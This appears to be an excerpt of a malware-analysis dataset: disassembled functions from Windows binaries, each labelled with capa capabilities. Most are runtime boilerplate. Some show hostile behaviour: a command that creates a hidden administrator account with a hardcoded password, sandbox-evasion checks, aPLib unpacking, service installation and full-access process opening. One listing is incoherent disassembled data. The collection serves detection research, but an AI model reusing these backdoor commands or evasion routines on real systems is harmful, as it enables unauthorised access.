joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009150
Capabilities:
Create directory

Disassembly:
push r13
mov eax, 0x2068
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000ef50
sub rsp, rax
mov rsi, rcx
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x40], 0xffffffffffffffff
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140009248
xor ebx, ebx
lea rdi, [rsp + 0x60]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [rsp + 0x40]
cmp rcx, 0xffffffffffffffff
je 0x1400091c6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
lea r9, str.S_1_3_4
mov edx, 0x1000
mov rcx, rdi
lea r8, str.D:_A__FA____s_
test rbx, rbx
cmovne r9, rbx
call fcn.140008bd0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor r9d, r9d
lea r8, [rsp + 0x48]
mov rcx, rdi
mov dword [rsp + 0x40], 0x18
mov edx, 1
mov dword [rsp + 0x50], 0
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x1400092d0
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
sbb eax, eax
add rsp, 0x2068
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea r12, [rsp + 0x3c]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], r12
mov rdi, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edx, 1
call rdi
test eax, eax
jne 0x14000927e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400091a6
mov edx, dword [rsp + 0x3c]
mov ecx, 1
mov r13, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_calloc
mov rcx, qword [rsp + 0x40]
mov rbx, rax
test rax, rax
je 0x1400091a6
mov qword [rsp + 0x20], r12
mov r9d, r13d
mov r8, rax
mov edx, 1
call rdi
lea rdi, [rsp + 0x60]
test eax, eax
je 0x1400091ad
mov rcx, qword [rbx]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
jmp 0x1400091ad
mov eax, 0xffffffff
jmp 0x140009235

Function at 0x140009900
Capabilities:
Hash data with crc32

Disassembly:
push rbx
mov r10d, 0x80000000
test ecx, ecx
je 0x140009974
mov r11d, 3
lea rbx, [0x140014820]
jmp 0x140009928
add r11d, 1
sar ecx, 1
je 0x140009974
test cl, 1
je 0x140009920
mov eax, r11d
mov edx, r10d
mov r8d, 0x80000000
xor r10d, r10d
and eax, 0x1f
mov r9d, dword [rbx + rax*4]
jmp 0x14000995b
mov eax, edx
shr edx, 1
and eax, 1
shr r8d, 1
neg eax
and eax, 0xedb88320
xor edx, eax
test r9d, r8d
je 0x140009948
lea eax, [r8 - 1]
xor r10d, edx
test eax, r9d
jne 0x140009948
add r11d, 1
sar ecx, 1
jne 0x140009928
mov eax, r10d
pop rbx
ret
Function at 0x14000dc30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14000fce0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x14000e902
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14001e448]
test eax, eax
je 0x14000e99a
lea rax, [0x14001e420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14001e450]
mov qword [rbp - 8], rax
jmp 0x14000e97e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14000e972
cmp qword [rbp - 0x10], 0
je 0x14000e972
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000e938
lea rax, [0x14001e420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000e99b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000eaa0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14000eac8
mov eax, 0
jmp 0x14000eb16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000eaf1
mov eax, 0
jmp 0x14000eb16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14000eb11
mov eax, 0
jmp 0x14000eb16
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14000eb1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000eb9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14000eb91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14000eb91
mov rax, qword [rbp - 8]
jmp 0x14000ebaf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14000eb64
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14069d058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14069d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14069d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069d06f
add dl, dl
jne 0x14069d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069d0f6
xor eax, eax
add dl, dl
jne 0x14069d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14069d1ad
add dl, dl
jne 0x14069d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14069d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14069d07e
mov eax, 1
add dl, dl
jne 0x14069d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14069d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069d0fb
sub eax, ebx
mov ebx, 1
jne 0x14069d14c
mov ecx, 1
add dl, dl
jne 0x14069d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14069d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14069d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14069d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14069d15d
cmp eax, 0x7d00
jae 0x14069d19b
cmp eax, 0x500
jb 0x14069d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069d07e
cmp eax, 0x7f
ja 0x14069d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14069d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14069d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14069d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x208d113a0
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov eax, dword [0x208d17020]
test eax, eax
jne 0x208d113d4
lea rcx, str.cmd.exe__c_net_user_sqlserversvc_K4AxpnEeevZnaP__add
call sym.system
lea rcx, str.cmd.exe__c_net_localgroup_administrators_sqlserversvc__add
call sym.system
mov dword [0x208d17020], 1
nop
add rsp, 0x20
pop rbp
ret

Function at 0x208d115e0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x208d11650
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x208d17064]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x208d11800
mov rax, qword [0x208d17068]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x208d1169c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x208d11727
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x208d11680
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x208d1185d
mov rax, qword [0x208d17068]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x208d17068]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x208d11842
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x208d11720
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x208d117b0
add dword [0x208d17064], 1
cmp ebx, 8
jae 0x208d11758
test bl, 4
jne 0x208d11810
test ebx, ebx
je 0x208d11749
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x208d11830
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x208d11749
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x208d1178a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x208d17068]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x208d11720
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x208d116a7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x208d11749
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x208d11749
mov rax, qword [0x208d17068]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x208d11b60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x208d170a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x208d17080]
test rbx, rbx
je 0x208d11bb4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x208d11bab
test r12, r12
je 0x208d11bab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x208d11b90
lea rcx, [0x208d170a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x208d11de0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x208d11df0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x208d11e00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x208d11e45
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x208d11e3c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x208d11e47
add rax, 0x28
cmp rax, r9
jne 0x208d11e28
xor eax, eax
ret

Function at 0x208d11ef0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x208d14240]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x208d11f69
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x208d11f69
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x208d11f66
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x208d11f5d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x208d11f69
add r8, 0x28
cmp r8, r9
jne 0x208d11f48
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x208d12050
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x208d14240]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x208d120bf
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x208d120bf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x208d120bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x208d120b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x208d120c8
add rax, 0x28
cmp rax, r9
jne 0x208d120a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x208d120e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x208d14240]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x208d12158
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x208d12158
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x208d12158
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x208d12158
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x208d1214c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x208d12160
add rdx, 0x28
cmp rdx, r10
jne 0x208d12138
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x208d12170
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x208d1217e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x208d12155
test r8d, r8d
jg 0x208d12168
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x18008b920
Capabilities:
Encode data using xor

Disassembly:
or cl, ah
or edi, dword [rax - 0x47f41ef8]
or cl, ah
or edi, dword [rax - 0x47f41ef8]
or cl, ah
or edi, dword [rax - 0x47f41ef8]
or cl, ah
or edi, dword [rax - 0x47f41ef8]
or cl, ah
or edi, dword [rax - 0x497a1ef8]
or byte [rax], al
xor dword [rdi - 0x49ccfff8], esi
or byte [rax], al
lea esi, [rbp - 0x4958fff8]
or byte [rax], al
mov bh, 8
add bl, dh
mov bh, 8
add byte [rsi], bl
mov dh, 8
add byte [rcx], dl
mov dh, 8
add byte [rcx], ah
mov eax, 0x89480008
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
pop rsp
and al, 0x48
mov qword [rdi + rdx*2 + 0x10], rbx
push rbp
push rbx
insb byte [rdi], dx
and al, 0x10
mov qword [rsp + 0x20], rsi
push r14
push r15
sub rsp, 0x70
mov esi, dword [rbx + rax*4 - 0x36babf14]
jo 0x18008b8d3
imul edi, eax, 0x4df98b4d
mov esp, eax
mov r14, rdx
cmp ecx, ebp
jbe 0x14e93bb42
mov rdi, qword [rax + rcx*2 + 0x30]
lea esi, [rcx - 0x118]
add byte [rbp - 0x8b965d3], cl
pop rbx
call 0x18027c94b
mov eax, edi
mov r8d, 0x18fe8350
ja 0x1d0c0fb22
movzx ecx, byte [rsi + r13 + 0x4808bb80]
test al, 0x94
lea ebx, [rbx + rdi*4 + 8]
loope 0x18008b9d1
mov edx, ebp
jmp rdx
cmp dword [rsp + 0x18], ebx
jne 0x18008ba22
mov eax, 0xc7480001
jmp 0x1de49bb42
dec esi
lea ecx, [rsi - 0x3174fee8]
cmp ecx, ebp
ja 0x1db297e75
jmp 0x1461dbb42
Function at 0x140001070
Capabilities:
Create service
Query service status
Start service

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0xb0
mov rax, qword [0x14000e008]
xor rax, rsp
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [str.Martini]
mov rsi, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x1400010d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Open_SCManager_error_0x_X__n
call fcn.140001010
xor eax, eax
jmp 0x140001260
mov r8d, 0xf01ff
mov qword [rsp + 0xc8], rdi
lea rdx, [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x1400011a8
lea rcx, str.Service_already_exists._n
call fcn.140001010
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x14000114a
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Query_service_status_error_0x_X__n
call fcn.140001010
xor eax, eax
jmp 0x140001258
cmp dword [rsp + 0x74], 1
jne 0x14000119c
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140001190
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Service_start_error_0x_X__n
call fcn.140001010
xor eax, eax
jmp 0x140001258
lea rcx, str.Starting_service..._n
call fcn.140001010
lea rcx, str.Service_has_started._n
jmp 0x14000123c
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x90]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov r9d, 0xf01ff
mov qword [rsp + 0x48], rax
mov rcx, rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
je 0x140001228
lea rcx, str.Service_created_successfully._n
call fcn.140001010
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140001235
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x140001258
lea rcx, str.Starting_service..._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rdi, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001650
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop rsi
ret
Function at 0x401805
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x401837
mov eax, 1
jmp 0x4018f6
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0x80000000
cmp rax, rdx
jae 0x401866
mov eax, 1
jmp 0x4018f6
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.00401724
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
movzx eax, word [rbp + 0x68]
mov word [rbp - 0x48], ax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00428cd0
mov r8, qword [0x005330a8]
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x4018f1
mov eax, 1
jmp 0x4018f6
mov eax, 0
add rsp, 0x100
pop rbp
ret
Function at 0x401a69
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x120], 0
mov dword [rbp - 0x10], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x128], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x401bf7
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x401bf7
lea rax, [rbp - 0x10]
add rax, 0x2c
mov rdx, qword [rbp + 0x140]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x401ac9
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov ecx, eax
lea rax, [rbp - 0x14]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
call rax
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.00401945
mov edx, dword [rbp - 0x14]
cmp eax, edx
sete al
test al, al
je 0x401ac9
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.004015b4
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov r10, qword [0x00533080]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x120]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov rax, qword [rbp + 0x120]
test rax, rax
je 0x401bdb
mov rax, qword [rbp + 0x120]
cmp rax, 0xffffffffffffffff
je 0x401bdb
mov rdx, qword [0x00533078]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x120]
jmp 0x401c11
mov rdx, qword [0x00533078]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
jmp 0x401c11
mov rdx, qword [0x00533078]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
add rsp, 0x1b0
pop rbp
ret